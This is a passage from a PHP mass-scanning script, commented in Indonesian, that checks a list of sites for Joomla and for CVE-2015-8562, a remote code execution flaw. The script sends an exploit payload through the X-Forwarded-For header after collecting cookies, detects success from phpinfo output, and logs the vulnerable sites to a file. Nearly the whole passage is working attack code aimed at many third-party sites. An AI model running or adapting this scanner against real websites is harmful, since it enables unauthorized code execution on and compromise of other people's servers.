[-] Not Joomla\n"; end_checking(); } else { echo " |\n |=>[+] Joomla\n"; echo " |\n[*] Checking Bug CVE-2015-8562\n"; //ambil cookies di path url yang sama $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://$site/"); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, $User_Agent); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie_joomla.txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_exec($ch); curl_close($ch); //Perulangan check vulnerable di path url yang sama for ($i=0;$i<2;$i++) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://$site/"); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_USERAGENT, $User_Agent); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie_joomla.txt"); curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-FORWARDED-FOR: $exploit")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $cek_vuln = curl_exec($ch); curl_close($ch); } $version_mentah1 = explode('',$version_mentah); $version = explode('',$version_mentah1[1]); if (strpos($cek_vuln, "license@php") !== false) { echo " |\n |=> Status : Vulnerable\n"; echo " |=> Joomla Version : $version[0]\n"; export_ke_file($site); } else { echo " |\n |=>[-] Not Vulnerable\n"; } end_checking(); } } $jumlah_vuln = count(file("joomla_vuln.txt")); $jumlah_list = count(file("$list")); echo "[*] Site Vulnerable : ".$jumlah_vuln."\n"; echo "[*] List Site : ".$jumlah_list."\n"; ?>